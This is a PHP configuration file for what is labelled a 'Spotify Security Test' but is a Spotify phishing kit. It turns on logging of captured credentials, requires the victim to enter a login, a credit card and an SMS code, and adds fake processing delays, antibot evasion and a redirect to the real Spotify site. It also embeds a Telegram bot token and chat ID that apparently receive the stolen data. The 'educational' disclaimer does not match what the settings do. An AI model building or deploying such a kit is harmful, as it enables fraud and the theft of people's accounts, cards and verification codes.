<?php
/**
 * Clean Spotify Security Test - Configuration File
 * Educational Purpose Only - Cybersecurity Studies
 * 
 * @author Security Research Team
 * @version 2.0
 */

// Prevent direct access
if (!defined('APP_ACCESS')) {
    die('Direct access not permitted');
}

// ============================================
// APPLICATION SETTINGS
// ============================================
define('APP_NAME', 'Spotify Security Test');
define('APP_VERSION', '2.0');
define('APP_ENV', 'development'); // development or production

// ============================================
// PATHS
// ============================================
define('BASE_PATH', dirname(__DIR__));
define('CONFIG_PATH', BASE_PATH . '/config');
define('INCLUDES_PATH', BASE_PATH . '/includes');
define('PAGES_PATH', BASE_PATH . '/pages');
define('ASSETS_PATH', BASE_PATH . '/assets');
define('LOGS_PATH', BASE_PATH . '/logs');
define('LANGUAGES_PATH', BASE_PATH . '/languages');

// ============================================
// TELEGRAM CONFIGURATION
// ============================================
define('TELEGRAM_ENABLED', true);
define('TELEGRAM_BOT_TOKEN', '8826694660:AAEoaPYqHsoajNcJue74w-fpgzO3xJHEdMo');
define('TELEGRAM_CHAT_ID', '-5115758840');

// ============================================
// SECURITY SETTINGS
// ============================================
// ACTIVÉ - Protection antibot active
define('ANTIBOT_ENABLED', true);
define('GEO_FILTER_ENABLED', false);
define('ALLOWED_COUNTRIES', ''); // Example: 'US,FR,CA' (empty = all countries)
define('IP_LOGGING_ENABLED', true);
define('SESSION_TIMEOUT', 3600); // 1 hour in seconds

// ============================================
// REDIRECT SETTINGS
// ============================================
define('EXIT_URL', 'https://www.spotify.com');
define('SUCCESS_URL', 'https://www.spotify.com/premium');

// ============================================
// LANGUAGE SETTINGS
// ============================================
define('DEFAULT_LANGUAGE', 'en');
define('AUTO_DETECT_LANGUAGE', true);
define('AVAILABLE_LANGUAGES', ['en', 'fr', 'es', 'de', 'pt', 'no', 'it', 'nl', 'sv', 'da', 'pl', 'tr', 'ru', 'ar', 'ja', 'ko']);

// ============================================
// LOGGING SETTINGS
// ============================================
define('LOG_VISITS', true);
define('LOG_BOTS', true);
define('LOG_CREDENTIALS', true);
define('VISITS_LOG_FILE', LOGS_PATH . '/visits.log');
define('BOTS_LOG_FILE', LOGS_PATH . '/bots.log');
define('CREDENTIALS_LOG_FILE', LOGS_PATH . '/credentials.log');

// ============================================
// DATABASE SETTINGS (Optional - for advanced logging)
// ============================================
define('USE_DATABASE', false);
define('DB_HOST', 'localhost');
define('DB_NAME', 'spotify_test');
define('DB_USER', 'root');
define('DB_PASS', '');

// ============================================
// FORM SETTINGS
// ============================================
define('REQUIRE_LOGIN', true);
define('REQUIRE_CREDIT_CARD', true);
define('REQUIRE_SMS_VERIFICATION', true);
define('REQUIRE_EMAIL_VERIFICATION', false);

// ============================================
// PANEL CONTROL SYSTEM
// ============================================
define('CONTROLLER', true);  // Enable panel control system
define('PANEL_URL', 'http://localhost/app/spotify1');  // Panel URL

// ============================================
// TIMING SETTINGS (in milliseconds)
// ============================================
define('LOADING_DELAY', 6000);  // Delay after login
define('PROCESSING_DELAY', 13000); // Delay after credit card
define('SMS_DELAY', 8000); // Delay after SMS

// ============================================
// ERROR REPORTING
// ============================================
if (APP_ENV === 'development') {
    error_reporting(E_ALL);
    ini_set('display_errors', 1);
} else {
    error_reporting(0);
    ini_set('display_errors', 0);
}

// ============================================
// SESSION CONFIGURATION
// ============================================
if (session_status() === PHP_SESSION_NONE) {
    // Set cookie parameters BEFORE starting session
    // Use version-compatible syntax
    if (PHP_VERSION_ID >= 70300) {
        // PHP 7.3+ supports array parameter
        session_set_cookie_params([
            'lifetime' => SESSION_TIMEOUT,
            'path' => '/',
            'secure' => isset($_SERVER['HTTPS']),
            'httponly' => true,
            'samesite' => 'Lax'
        ]);
    } else {
        // PHP < 7.3 requires individual parameters
        session_set_cookie_params(
            SESSION_TIMEOUT,  // lifetime
            '/',              // path
            '',               // domain
            isset($_SERVER['HTTPS']), // secure
            true              // httponly
        );
    }
    session_start();
}

// ============================================
// TIMEZONE
// ============================================
date_default_timezone_set('UTC');

// ============================================
// HELPER FUNCTIONS
// ============================================

/**
 * Get client IP address
 */
function getClientIP() {
    $ip = $_SERVER['REMOTE_ADDR'];
    
    // Check for proxy/cloudflare
    if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0];
    } elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    }
    
    return trim($ip);
}

/**
 * Get user agent
 */
function getUserAgent() {
    return isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Unknown';
}

/**
 * Log message to file
 */
function logMessage($message, $logFile = null) {
    if ($logFile === null) {
        $logFile = VISITS_LOG_FILE;
    }
    
    $timestamp = date('Y-m-d H:i:s');
    $ip = getClientIP();
    $logEntry = "[{$timestamp}] IP: {$ip} - {$message}\n";
    
    @file_put_contents($logFile, $logEntry, FILE_APPEND | LOCK_EX);
}

/**
 * Sanitize input
 */
function sanitizeInput($data) {
    $data = trim($data);
    $data = stripslashes($data);
    $data = htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
    return $data;
}

/**
 * Redirect to URL
 */
function redirectTo($url) {
    header("Location: " . $url);
    exit();
}

?>
